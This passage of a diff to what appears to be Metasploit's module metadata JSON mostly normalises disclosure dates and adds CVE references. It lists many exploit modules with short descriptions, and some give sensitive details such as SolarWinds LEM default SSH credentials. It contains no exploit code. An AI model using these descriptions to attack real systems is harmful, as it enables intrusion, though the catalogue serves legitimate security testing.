"exploit", "author": [ "xistence " @@ -36881,13 +34806,14 @@ "name": "Mercurial Custom hg-ssh Wrapper Remote Code Exec", "full_name": "exploit/linux/ssh/mercurial_ssh_exec", "rank": 600, - "disclosure_date": "2017-04-18 00:00:00 -0500", + "disclosure_date": "2017-04-18", "type": "exploit", "author": [ "claudijd" ], "description": "This module takes advantage of custom hg-ssh wrapper implementations that don't\n adequately validate parameters passed to the hg binary, allowing users to trigger a\n Python Debugger session, which allows arbitrary Python code execution.", "references": [ + "CVE-2017-9462", "URL-https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29" ], "is_server": true, @@ -36907,7 +34833,7 @@ "name": "Quantum DXi V1000 SSH Private Key Exposure", "full_name": "exploit/linux/ssh/quantum_dxi_known_privkey", "rank": 600, - "disclosure_date": "2014-03-17 00:00:00 -0500", + "disclosure_date": "2014-03-17", "type": "exploit", "author": [ "xistence " @@ -36933,7 +34859,7 @@ "name": "Quantum vmPRO Backdoor Command", "full_name": "exploit/linux/ssh/quantum_vmpro_backdoor", "rank": 600, - "disclosure_date": "2014-03-17 00:00:00 -0500", + "disclosure_date": "2014-03-17", "type": "exploit", "author": [ "xistence " @@ -36959,13 +34885,14 @@ "name": "SolarWind LEM Default SSH Password Remote Code Execution", "full_name": "exploit/linux/ssh/solarwinds_lem_exec", "rank": 600, - "disclosure_date": "2017-03-17 00:00:00 -0500", + "disclosure_date": "2017-03-17", "type": "exploit", "author": [ "Mehmet Ince " ], "description": "This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH\n service is accessed with the default username and password which is \"cmc\" and \"password\". By exploiting a\n vulnerability that exist on the menuing script, an attacker can escape from restricted shell.\n\n This module was tested against SolarWinds LEM v6.3.1.", "references": [ + "CVE-2017-7722", "URL-http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/" ], "is_server": true, @@ -36985,7 +34912,7 @@ "name": "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability", "full_name": "exploit/linux/ssh/symantec_smg_ssh", "rank": 600, - "disclosure_date": "2012-08-27 00:00:00 -0500", + "disclosure_date": "2012-08-27", "type": "exploit", "author": [ "Stefan Viehbock", @@ -37016,7 +34943,7 @@ "name": "Ubiquiti airOS Arbitrary File Upload", "full_name": "exploit/linux/ssh/ubiquiti_airos_file_upload", "rank": 600, - "disclosure_date": "2016-02-13 00:00:00 -0600", + "disclosure_date": "2016-02-13", "type": "exploit", "author": [ "93c08539", @@ -37044,7 +34971,7 @@ "name": "VMware VDP Known SSH Key", "full_name": "exploit/linux/ssh/vmware_vdp_known_privkey", "rank": 600, - "disclosure_date": "2016-12-20 00:00:00 -0600", + "disclosure_date": "2016-12-20", "type": "exploit", "author": [ "phroxvs" @@ -37071,7 +34998,7 @@ "name": "NETGEAR TelnetEnable", "full_name": "exploit/linux/telnet/netgear_telnetenable", "rank": 600, - "disclosure_date": "2009-10-30 00:00:00 -0500", + "disclosure_date": "2009-10-30", "type": "exploit", "author": [ "Paul Gebheim", @@ -37103,7 +35030,7 @@ "name": "Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow", "full_name": "exploit/linux/telnet/telnet_encrypt_keyid", "rank": 500, - "disclosure_date": "2011-12-23 00:00:00 -0600", + "disclosure_date": "2011-12-23", "type": "exploit", "author": [ "Jaime Penalba Estebanez ", @@ -37136,7 +35063,7 @@ "name": "D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection", "full_name": "exploit/linux/upnp/dlink_upnp_msearch_exec", "rank": 600, - "disclosure_date": "2013-02-01 00:00:00 -0600", + "disclosure_date": "2013-02-01", "type": "exploit", "author": [ "Zachary Cutlip", @@ -37165,7 +35092,7 @@ "name": "MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution", "full_name": "exploit/linux/upnp/miniupnpd_soap_bof", "rank": 300, - "disclosure_date": "2013-03-27 00:00:00 -0500", + "disclosure_date": "2013-03-27", "type": "exploit", "author": [ "hdm ", @@ -37198,7 +35125,7 @@ "name": "FTP JCL Execution", "full_name": "exploit/mainframe/ftp/ftp_jcl_creds", "rank": 300, - "disclosure_date": "2013-05-12 00:00:00 -0500", + "disclosure_date": "2013-05-12", "type": "exploit", "author": [ "Bigendian Smalls", @@ -37226,7 +35153,7 @@ "name": "Adobe Flash Player ByteArray Use After Free", "full_name": "exploit/multi/browser/adobe_flash_hacking_team_uaf", "rank": 500, - "disclosure_date": "2015-07-06 00:00:00 -0500", + "disclosure_date": "2015-07-06", "type": "exploit", "author": [ "Unknown", @@ -37259,7 +35186,7 @@ "name": "Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow", "full_name": "exploit/multi/browser/adobe_flash_nellymoser_bof", "rank": 500, - "disclosure_date": "2015-06-23 00:00:00 -0500", + "disclosure_date": "2015-06-23", "type": "exploit", "author": [ "Unknown", @@ -37293,7 +35220,7 @@ "name": "Adobe Flash Player NetConnection Type Confusion", "full_name": "exploit/multi/browser/adobe_flash_net_connection_confusion", "rank": 500, - "disclosure_date": "2015-03-12 00:00:00 -0500", + "disclosure_date": "2015-03-12", "type": "exploit", "author": [ "Natalie Silvanovich", @@ -37327,7 +35254,7 @@ "name": "Adobe Flash opaqueBackground Use After Free", "full_name": "exploit/multi/browser/adobe_flash_opaque_background_uaf", "rank": 500, - "disclosure_date": "2015-07-06 00:00:00 -0500", + "disclosure_date": "2015-07-06", "type": "exploit", "author": [ "Unknown", @@ -37358,7 +35285,7 @@ "name": "Adobe Flash Player Shader Buffer Overflow", "full_name": "exploit/multi/browser/adobe_flash_pixel_bender_bof", "rank": 500, - "disclosure_date": "2014-04-28 00:00:00 -0500", + "disclosure_date": "2014-04-28", "type": "exploit", "author": [ "Unknown", @@ -37390,7 +35317,7 @@ "name": "Adobe Flash Player Drawing Fill Shader Memory Corruption", "full_name": "exploit/multi/browser/adobe_flash_shader_drawing_fill", "rank": 500, - "disclosure_date": "2015-05-12 00:00:00 -0500", + "disclosure_date": "2015-05-12", "type": "exploit", "author": [ "Chris Evans", @@ -37423,7 +35350,7 @@ "name": "Adobe Flash Player ShaderJob Buffer Overflow", "full_name": "exploit/multi/browser/adobe_flash_shader_job_overflow", "rank": 500, - "disclosure_date": "2015-05-12 00:00:00 -0500", + "disclosure_date": "2015-05-12", "type": "exploit", "author": [ "Chris Evans", @@ -37456,7 +35383,7 @@ "name": "Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free", "full_name": "exploit/multi/browser/adobe_flash_uncompress_zlib_uaf", "rank": 500, - "disclosure_date": "2014-04-28 00:00:00 -0500", + "disclosure_date": "2014-04-28", "type": "exploit", "author": [ "Unknown", @@ -37488,7 +35415,7 @@ "name": "Firefox 3.5 escape() Return Value Memory Corruption", "full_name": "exploit/multi/browser/firefox_escape_retval", "rank": 300, - "disclosure_date": "2009-07-13 00:00:00 -0500", + "disclosure_date": "2009-07-13", "type": "exploit", "author": [ "Simon Berry-Byrne ", @@ -37519,7 +35446,7 @@ "name": "Firefox PDF.js Privileged Javascript Injection", "full_name": "exploit/multi/browser/firefox_pdfjs_privilege_escalation", "rank": 0, - "disclosure_date": "2015-03-31 00:00:00 -0500", + "disclosure_date": "2015-03-31", "type": "exploit", "author": [ "Unknown", @@ -37549,7 +35476,7 @@ "name": "Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution", "full_name": "exploit/multi/browser/firefox_proto_crmfrequest", "rank": 600, - "disclosure_date": "2013-08-06 00:00:00 -0500", + "disclosure_date": "2013-08-06", "type": "exploit", "author": [ "Mariusz Mlynski", @@ -37580,7 +35507,7 @@ "name": "Firefox Proxy Prototype Privileged Javascript Injection", "full_name": "exploit/multi/browser/firefox_proxy_prototype", "rank": 0, - "disclosure_date": "2014-01-20 00:00:00 -0600", + "disclosure_date": "2014-01-20", "type": "exploit", "author": [ "joev " @@ -37610,7 +35537,7 @@ "name": "Firefox location.QueryInterface() Code Execution", "full_name": "exploit/multi/browser/firefox_queryinterface", "rank": 300, - "disclosure_date": "2006-02-02 00:00:00 -0600", + "disclosure_date": "2006-02-02", "type": "exploit", "author": [ "hdm " @@ -37640,7 +35567,7 @@ "name": "Firefox 17.0.1 Flash Privileged Code Injection", "full_name": "exploit/multi/browser/firefox_svg_plugin", "rank": 600, - "disclosure_date": "2013-01-08 00:00:00 -0600", + "disclosure_date": "2013-01-08", "type": "exploit", "author": [ "Marius Mlynski", @@ -37674,7 +35601,7 @@ "name": "Firefox toString console.time Privileged Javascript Injection", "full_name": "exploit/multi/browser/firefox_tostring_console_injection", "rank": 600, - "disclosure_date": "2013-05-14 00:00:00 -0500", + "disclosure_date": "2013-05-14", "type": "exploit", "author": [ "moz_bug_r_a4", @@ -37703,7 +35630,7 @@ "name": "Firefox WebIDL Privileged Javascript Injection", "full_name": "exploit/multi/browser/firefox_webidl_injection", "rank": 600, - "disclosure_date": "2014-03-17 00:00:00 -0500", + "disclosure_date": "2014-03-17", "type": "exploit", "author": [ "Marius Mlynski", @@ -37732,7 +35659,7 @@ "name": "Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution", "full_name": "exploit/multi/browser/firefox_xpi_bootstrapped_addon", "rank": 600, - "disclosure_date": "2007-06-27 00:00:00 -0500", + "disclosure_date": "2007-06-27", "type": "exploit", "author": [ "mihi", @@ -37761,7 +35688,7 @@ "name": "Apple OS X iTunes 8.1.1 ITMS Overflow", "full_name": "exploit/multi/browser/itms_overflow", "rank": 500, - "disclosure_date": "2009-06-01 00:00:00 -0500", + "disclosure_date": "2009-06-01", "type": "exploit", "author": [ "Will Drewry " @@ -37790,7 +35717,7 @@ "name": "Java AtomicReferenceArray Type Violation Vulnerability", "full_name": "exploit/multi/browser/java_atomicreferencearray", "rank": 600, - "disclosure_date": "2012-02-14 00:00:00 -0600", + "disclosure_date": "2012-02-14", "type": "exploit", "author": [ "Jeroen Frijters", @@ -37830,7 +35757,7 @@ "name": "Sun Java Calendar Deserialization Privilege Escalation", "full_name": "exploit/multi/browser/java_calendar_deserialize", "rank": 600, - "disclosure_date": "2008-12-03 00:00:00 -0600", + "disclosure_date": "2008-12-03", "type": "exploit", "author": [ "sf ", @@ -37865,7 +35792,7 @@ "name": "Sun Java JRE getSoundbank file:// URI Buffer Overflow", "full_name": "exploit/multi/browser/java_getsoundbank_bof", "rank": 500, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "kf ", @@ -37897,7 +35824,7 @@ "name": "Java Applet Driver Manager Privileged toString() Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_driver_manager", "rank": 600, - "disclosure_date": "2013-01-10 00:00:00 -0600", + "disclosure_date": "2013-01-10", "type": "exploit", "author": [ "James Forshaw", @@ -37932,7 +35859,7 @@ "name": "Java 7 Applet Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_exec", "rank": 600, - "disclosure_date": "2012-08-26 00:00:00 -0500", + "disclosure_date": "2012-08-26", "type": "exploit", "author": [ "Adam Gowdiak", @@ -37972,7 +35899,7 @@ "name": "Java Applet AverageRangeStatisticImpl Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl", "rank": 600, - "disclosure_date": "2012-10-16 00:00:00 -0500", + "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Unknown", @@ -38007,7 +35934,7 @@ "name": "Java Applet JAX-WS Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_jaxws", "rank": 600, - "disclosure_date": "2012-10-16 00:00:00 -0500", + "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Unknown", @@ -38041,7 +35968,7 @@ "name": "Java Applet JMX Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_jmxbean", "rank": 600, - "disclosure_date": "2013-01-10 00:00:00 -0600", + "disclosure_date": "2013-01-10", "type": "exploit", "author": [ "Unknown", @@ -38078,7 +36005,7 @@ "name": "Java Applet JMX Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_jmxbean_2", "rank": 600, - "disclosure_date": "2013-01-19 00:00:00 -0600", + "disclosure_date": "2013-01-19", "type": "exploit", "author": [ "Unknown", @@ -38117,7 +36044,7 @@ "name": "Java Applet Method Handle Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_method_handle", "rank": 600, - "disclosure_date": "2012-10-16 00:00:00 -0500", + "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Unknown", @@ -38151,7 +36078,7 @@ "name": "Java Applet ProviderSkeleton Insecure Invoke Method", "full_name": "exploit/multi/browser/java_jre17_provider_skeleton", "rank": 500, - "disclosure_date": "2013-06-18 00:00:00 -0500", + "disclosure_date": "2013-06-18", "type": "exploit", "author": [ "Adam Gowdiak", @@ -38186,7 +36113,7 @@ "name": "Java Applet Reflection Type Confusion Remote Code Execution", "full_name": "exploit/multi/browser/java_jre17_reflection_types", "rank": 600, - "disclosure_date": "2013-01-10 00:00:00 -0600", + "disclosure_date": "2013-01-10", "type": "exploit", "author": [ "Jeroen Frijters", @@ -38222,7 +36149,7 @@ "name": "Java Applet Rhino Script Engine Remote Code Execution", "full_name": "exploit/multi/browser/java_rhino", "rank": 600, - "disclosure_date": "2011-10-18 00:00:00 -0500", + "disclosure_date": "2011-10-18", "type": "exploit", "author": [ "Michael Schierl", @@ -38257,7 +36184,7 @@ "name": "Java RMIConnectionImpl Deserialization Privilege Escalation", "full_name": "exploit/multi/browser/java_rmi_connection_impl", "rank": 600, - "disclosure_date": "2010-03-31 00:00:00 -0500", + "disclosure_date": "2010-03-31", "type": "exploit", "author": [ "Sami Koivu", @@ -38287,7 +36214,7 @@ "name": "Sun Java JRE AWT setDiffICM Buffer Overflow", "full_name": "exploit/multi/browser/java_setdifficm_bof", "rank": 500, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "jduck " @@ -38318,7 +36245,7 @@ "name": "Java Signed Applet Social Engineering Code Execution", "full_name": "exploit/multi/browser/java_signed_applet", "rank": 600, - "disclosure_date": "1997-02-19 00:00:00 -0600", + "disclosure_date": "1997-02-19", "type": "exploit", "author": [ "natron " @@ -38348,7 +36275,7 @@ "name": "Java storeImageArray() Invalid Array Indexing Vulnerability", "full_name": "exploit/multi/browser/java_storeimagearray", "rank": 500, - "disclosure_date": "2013-08-12 00:00:00 -0500", + "disclosure_date": "2013-08-12", "type": "exploit", "author": [ "Unknown", @@ -38382,7 +36309,7 @@ "name": "Java Statement.invoke() Trusted Method Chain Privilege Escalation", "full_name": "exploit/multi/browser/java_trusted_chain", "rank": 600, - "disclosure_date": "2010-03-31 00:00:00 -0500", + "disclosure_date": "2010-03-31", "type": "exploit", "author": [ "Sami Koivu", @@ -38414,7 +36341,7 @@ "name": "Java Applet Field Bytecode Verifier Cache Remote Code Execution", "full_name": "exploit/multi/browser/java_verifier_field_access", "rank": 600, - "disclosure_date": "2012-06-06 00:00:00 -0500", + "disclosure_date": "2012-06-06", "type": "exploit", "author": [ "Stefan Cornelius", @@ -38455,7 +36382,7 @@ "name": "Mozilla Suite/Firefox compareTo() Code Execution", "full_name": "exploit/multi/browser/mozilla_compareto", "rank": 300, - "disclosure_date": "2005-07-13 00:00:00 -0500", + "disclosure_date": "2005-07-13", "type": "exploit", "author": [ "hdm ", @@ -38485,7 +36412,7 @@ "name": "Mozilla Suite/Firefox Navigator Object Code Execution", "full_name": "exploit/multi/browser/mozilla_navigatorjava", "rank": 300, - "disclosure_date": "2006-07-25 00:00:00 -0500", + "disclosure_date": "2006-07-25", "type": "exploit", "author": [ "hdm " @@ -38517,7 +36444,7 @@ "name": "Metasploit msfd Remote Code Execution via Browser", "full_name": "exploit/multi/browser/msfd_rce_browser", "rank": 300, - "disclosure_date": "2018-04-11 00:00:00 -0500", + "disclosure_date": "2018-04-11", "type": "exploit", "author": [ "Robin Stenvi " @@ -38543,7 +36470,7 @@ "name": "Opera 9 Configuration Overwrite", "full_name": "exploit/multi/browser/opera_configoverwrite", "rank": 600, - "disclosure_date": "2007-03-05 00:00:00 -0600", + "disclosure_date": "2007-03-05", "type": "exploit", "author": [ "egypt " @@ -38569,7 +36496,7 @@ "name": "Opera historysearch XSS", "full_name": "exploit/multi/browser/opera_historysearch", "rank": 600, - "disclosure_date": "2008-10-23 00:00:00 -0500", + "disclosure_date": "2008-10-23", "type": "exploit", "author": [ "Roberto Suggi", @@ -38600,7 +36527,7 @@ "name": "Apple QTJava toQTPointer() Arbitrary Memory Access", "full_name": "exploit/multi/browser/qtjava_pointer", "rank": 600, - "disclosure_date": "2007-04-23 00:00:00 -0500", + "disclosure_date": "2007-04-23", "type": "exploit", "author": [ "hdm ", @@ -38633,7 +36560,7 @@ "name": "ElasticSearch Dynamic Script Arbitrary Java Execution", "full_name": "exploit/multi/elasticsearch/script_mvel_rce", "rank": 600, - "disclosure_date": "2013-12-09 00:00:00 -0600", + "disclosure_date": "2013-12-09", "type": "exploit", "author": [ "Alex Brasetvik", @@ -38665,7 +36592,7 @@ "name": "ElasticSearch Search Groovy Sandbox Bypass", "full_name": "exploit/multi/elasticsearch/search_groovy_script", "rank": 600, - "disclosure_date": "2015-02-11 00:00:00 -0600", + "disclosure_date": "2015-02-11", "type": "exploit", "author": [ "Cameron Morris", @@ -38696,7 +36623,7 @@ "name": "Adobe U3D CLODProgressiveMeshDeclaration Array Overrun", "full_name": "exploit/multi/fileformat/adobe_u3d_meshcont", "rank": 400, - "disclosure_date": "2009-10-13 00:00:00 -0500", + "disclosure_date": "2009-10-13", "type": "exploit", "author": [ "Felipe Andres Manzano ", @@ -38728,7 +36655,7 @@ "name": "Javascript Injection for Eval-based Unpackers", "full_name": "exploit/multi/fileformat/js_unpacker_eval_injection", "rank": 600, - "disclosure_date": "2015-02-18 00:00:00 -0600", + "disclosure_date": "2015-02-18", "type": "exploit", "author": [ "joev " @@ -38754,7 +36681,7 @@ "name": "Maple Maplet File Creation and Command Execution", "full_name": "exploit/multi/fileformat/maple_maplet", "rank": 600, - "disclosure_date": "2010-04-26 00:00:00 -0500", + "disclosure_date": "2010-04-26", "type": "exploit", "author": [ "scriptjunkie" @@ -38785,7 +36712,7 @@ "name": "Nodejs js-yaml load() Code Execution", "full_name": "exploit/multi/fileformat/nodejs_js_yaml_load_code_exec", "rank": 600, - "disclosure_date": "2013-06-28 00:00:00 -0500", + "disclosure_date": "2013-06-28", "type": "exploit", "author": [ "Neal Poole", @@ -38815,7 +36742,7 @@ "name": "Microsoft Office Word Malicious Macro Execution", "full_name": "exploit/multi/fileformat/office_word_macro", "rank": 600, - "disclosure_date": "2012-01-10 00:00:00 -0600", + "disclosure_date": "2012-01-10", "type": "exploit", "author": [ "sinn3r " @@ -38842,7 +36769,7 @@ "name": "PeaZip Zip Processing Command Injection", "full_name": "exploit/multi/fileformat/peazip_command_injection", "rank": 600, - "disclosure_date": "2009-06-05 00:00:00 -0500", + "disclosure_date": "2009-06-05", "type": "exploit", "author": [ "pyrokinesis", @@ -38872,13 +36799,14 @@ "name": "JSON Swagger CodeGen Parameter Injector", "full_name": "exploit/multi/fileformat/swagger_param_inject", "rank": 600, - "disclosure_date": "2016-06-23 00:00:00 -0500", + "disclosure_date": "2016-06-23", "type": "exploit", "author": [ "ethersnowman " ], "description": "This module generates an Open API Specification 2.0 (Swagger) compliant\n json document that includes payload insertion points in parameters.\n\n In order for the payload to be executed, an attacker must convince\n someone to generate code from a specially modified swagger.json file\n within a vulnerable swagger-codgen appliance/container/api/service,\n and then to execute that generated code (or include it into software\n which will later be executed by another victim). By doing so, an\n attacker can execute arbitrary code as the victim user. The same\n vulnerability exists in the YAML format.", "references": [ + "CVE-2016-5641", "URL-http://github.com/swagger-api/swagger-codegen", "URL-https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641" ], @@ -38902,7 +36830,7 @@ "name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)", "full_name": "exploit/multi/ftp/pureftpd_bash_env_exec", "rank": 600, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Stephane Chazelas", @@ -38937,7 +36865,7 @@ "name": "WU-FTPD SITE EXEC/INDEX Format String Vulnerability", "full_name": "exploit/multi/ftp/wuftpd_site_exec_format", "rank": 500, - "disclosure_date": "2000-06-22 00:00:00 -0500", + "disclosure_date": "2000-06-22", "type": "exploit", "author": [ "jduck " @@ -38968,7 +36896,7 @@ "name": "GDB Server Remote Payload Execution", "full_name": "exploit/multi/gdb/gdb_server_exec", "rank": 500, - "disclosure_date": "2014-08-24 00:00:00 -0500", + "disclosure_date": "2014-08-24", "type": "exploit", "author": [ "joev " @@ -38995,7 +36923,7 @@ "name": "Steamed Hams", "full_name": "exploit/multi/hams/steamed", "rank": 0, - "disclosure_date": "2018-04-01 00:00:00 -0500", + "disclosure_date": "2018-04-01", "type": "exploit", "author": [ "bcook-r7" @@ -39049,7 +36977,7 @@ "name": "Active Collab \"chat module\" Remote PHP Code Injection Exploit", "full_name": "exploit/multi/http/activecollab_chat", "rank": 600, - "disclosure_date": "2012-05-30 00:00:00 -0500", + "disclosure_date": "2012-05-30", "type": "exploit", "author": [ "mr_me " @@ -39077,7 +37005,7 @@ "name": "AjaXplorer checkInstall.php Remote Command Execution", "full_name": "exploit/multi/http/ajaxplorer_checkinstall_exec", "rank": 600, - "disclosure_date": "2010-04-04 00:00:00 -0500", + "disclosure_date": "2010-04-04", "type": "exploit", "author": [ "Julien Cayssol", @@ -39106,7 +37034,7 @@ "name": "ActiveMQ web shell upload", "full_name": "exploit/multi/http/apache_activemq_upload_jsp", "rank": 600, - "disclosure_date": "2016-06-01 00:00:00 -0500", + "disclosure_date": "2016-06-01", "type": "exploit", "author": [ "Ian Anderson ", @@ -39136,7 +37064,7 @@ "name": "Apache Jetspeed Arbitrary File Upload", "full_name": "exploit/multi/http/apache_jetspeed_file_upload", "rank": 0, - "disclosure_date": "2016-03-06 00:00:00 -0600", + "disclosure_date": "2016-03-06", "type": "exploit", "author": [ "Andreas Lindh", @@ -39168,7 +37096,7 @@ "name": "Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)", "full_name": "exploit/multi/http/apache_mod_cgi_bash_env_exec", "rank": 600, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Stephane Chazelas", @@ -39205,7 +37133,7 @@ "name": "Apache Roller OGNL Injection", "full_name": "exploit/multi/http/apache_roller_ognl_injection", "rank": 600, - "disclosure_date": "2013-10-31 00:00:00 -0500", + "disclosure_date": "2013-10-31", "type": "exploit", "author": [ "Unknown", @@ -39233,7 +37161,7 @@ "name": "appRain CMF Arbitrary PHP File Upload Vulnerability", "full_name": "exploit/multi/http/apprain_upload_exec", "rank": 600, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "exploit", "author": [ "EgiX", @@ -39263,7 +37191,7 @@ "name": "ATutor 2.2.1 SQL Injection / Remote Code Execution", "full_name": "exploit/multi/http/atutor_sqli", "rank": 600, - "disclosure_date": "2016-03-01 00:00:00 -0600", + "disclosure_date": "2016-03-01", "type": "exploit", "author": [ "mr_me " @@ -39291,7 +37219,7 @@ "name": "Auxilium RateMyPet Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/auxilium_upload_exec", "rank": 600, - "disclosure_date": "2012-09-14 00:00:00 -0500", + "disclosure_date": "2012-09-14", "type": "exploit", "author": [ "DaOne", @@ -39320,7 +37248,7 @@ "name": "Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)", "full_name": "exploit/multi/http/axis2_deployer", "rank": 600, - "disclosure_date": "2010-12-30 00:00:00 -0600", + "disclosure_date": "2010-12-30", "type": "exploit", "author": [ "Joshua Abraham ", @@ -39352,7 +37280,7 @@ "name": "Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution", "full_name": "exploit/multi/http/bassmaster_js_injection", "rank": 600, - "disclosure_date": "2016-11-01 00:00:00 -0500", + "disclosure_date": "2016-11-01", "type": "exploit", "author": [ "mr_me ", @@ -39380,7 +37308,7 @@ "name": "CMS Bolt File Upload Vulnerability", "full_name": "exploit/multi/http/bolt_file_upload", "rank": 600, - "disclosure_date": "2015-08-17 00:00:00 -0500", + "disclosure_date": "2015-08-17", "type": "exploit", "author": [ "Tim Coen", @@ -39388,6 +37316,7 @@ ], "description": "Bolt CMS contains a flaw that allows an authenticated remote\n attacker to execute arbitrary PHP code. This module was\n tested on version 2.2.4.", "references": [ + "CVE-2015-7309", "URL-http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html" ], "is_server": true, @@ -39407,7 +37336,7 @@ "name": "BuilderEngine Arbitrary File Upload Vulnerability and execution", "full_name": "exploit/multi/http/builderengine_upload_exec", "rank": 600, - "disclosure_date": "2016-09-18 00:00:00 -0500", + "disclosure_date": "2016-09-18", "type": "exploit", "author": [ "metanubix", @@ -39434,7 +37363,7 @@ "name": "China Chopper Caidao PHP Backdoor Code Execution", "full_name": "exploit/multi/http/caidao_php_backdoor_exec", "rank": 600, - "disclosure_date": "2015-10-27 00:00:00 -0500", + "disclosure_date": "2015-10-27", "type": "exploit", "author": [ "Nixawk" @@ -39463,7 +37392,7 @@ "name": "Cisco Prime Data Center Network Manager Arbitrary File Upload", "full_name": "exploit/multi/http/cisco_dcnm_upload", "rank": 600, - "disclosure_date": "2013-09-18 00:00:00 -0500", + "disclosure_date": "2013-09-18", "type": "exploit", "author": [ "rgod ", @@ -39493,7 +37422,7 @@ "name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", "full_name": "exploit/multi/http/clipbucket_fileupload_exec", "rank": 600, - "disclosure_date": "2018-03-03 00:00:00 -0600", + "disclosure_date": "2018-03-03", "type": "exploit", "author": [ "www.sec-consult.com", @@ -39501,6 +37430,7 @@ ], "description": "This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).\n A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.\n It is possible for an attacker to upload a malicious script to issue operating system commands.\n This issue is caused by improper session handling in /action/beats_uploader.php file.\n This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.", "references": [ + "CVE-2018-7665", "EDB-44250" ], "is_server": true, @@ -39520,7 +37450,7 @@ "name": "Adobe ColdFusion 9 Administrative Login Bypass", "full_name": "exploit/multi/http/coldfusion_rds", "rank": 500, - "disclosure_date": "2013-08-08 00:00:00 -0500", + "disclosure_date": "2013-08-08", "type": "exploit", "author": [ "Scott Buckel", @@ -39550,7 +37480,7 @@ "name": "CUPS Filter Bash Environment Variable Code Injection (Shellshock)", "full_name": "exploit/multi/http/cups_bash_env_exec", "rank": 600, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "exploit", "author": [ "Stephane Chazelas", @@ -39585,7 +37515,7 @@ "name": "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/cuteflow_upload_exec", "rank": 600, - "disclosure_date": "2012-07-27 00:00:00 -0500", + "disclosure_date": "2012-07-27", "type": "exploit", "author": [ "Brendan Coles " @@ -39612,7 +37542,7 @@ "name": "Dexter (CasinoLoader) SQL Injection", "full_name": "exploit/multi/http/dexter_casinoloader_exec", "rank": 600, - "disclosure_date": "2014-02-08 00:00:00 -0600", + "disclosure_date": "2014-02-08", "type": "exploit", "author": [ "bwall (Brian Wallace) " @@ -39638,7 +37568,7 @@ "name": "Drupal HTTP Parameter Key/Value SQL Injection", "full_name": "exploit/multi/http/drupal_drupageddon", "rank": 600, - "disclosure_date": "2014-10-15 00:00:00 -0500", + "disclosure_date": "2014-10-15", "type": "exploit", "author": [ "SektionEins", @@ -39671,7 +37601,7 @@ "name": "Network Shutdown Module (sort_values) Remote PHP Code Injection", "full_name": "exploit/multi/http/eaton_nsm_code_exec", "rank": 600, - "disclosure_date": "2012-06-26 00:00:00 -0500", + "disclosure_date": "2012-06-26", "type": "exploit", "author": [ "h0ng10", @@ -39700,7 +37630,7 @@ "name": "ManageEngine Eventlog Analyzer Arbitrary File Upload", "full_name": "exploit/multi/http/eventlog_file_upload", "rank": 600, - "disclosure_date": "2014-08-31 00:00:00 -0500", + "disclosure_date": "2014-08-31", "type": "exploit", "author": [ "h0ng10", @@ -39733,7 +37663,7 @@ "name": "eXtplorer v2.1 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/extplorer_upload_exec", "rank": 600, - "disclosure_date": "2012-12-31 00:00:00 -0600", + "disclosure_date": "2012-12-31", "type": "exploit", "author": [ "Brendan Coles " @@ -39762,7 +37692,7 @@ "name": "Family Connections less.php Remote Command Execution", "full_name": "exploit/multi/http/familycms_less_exec", "rank": 600, - "disclosure_date": "2011-11-29 00:00:00 -0600", + "disclosure_date": "2011-11-29", "type": "exploit", "author": [ "mr_me ", @@ -39794,7 +37724,7 @@ "name": "FreeNAS exec_raw.php Arbitrary Command Execution", "full_name": "exploit/multi/http/freenas_exec_raw", "rank": 500, - "disclosure_date": "2010-11-06 00:00:00 -0500", + "disclosure_date": "2010-11-06", "type": "exploit", "author": [ "MC " @@ -39821,7 +37751,7 @@ "name": "GestioIP Remote Command Execution", "full_name": "exploit/multi/http/gestioip_exec", "rank": 600, - "disclosure_date": "2013-10-04 00:00:00 -0500", + "disclosure_date": "2013-10-04", "type": "exploit", "author": [ "bperry" @@ -39849,7 +37779,7 @@ "name": "Malicious Git and Mercurial HTTP Server For CVE-2014-9390", "full_name": "exploit/multi/http/git_client_command_exec", "rank": 600, - "disclosure_date": 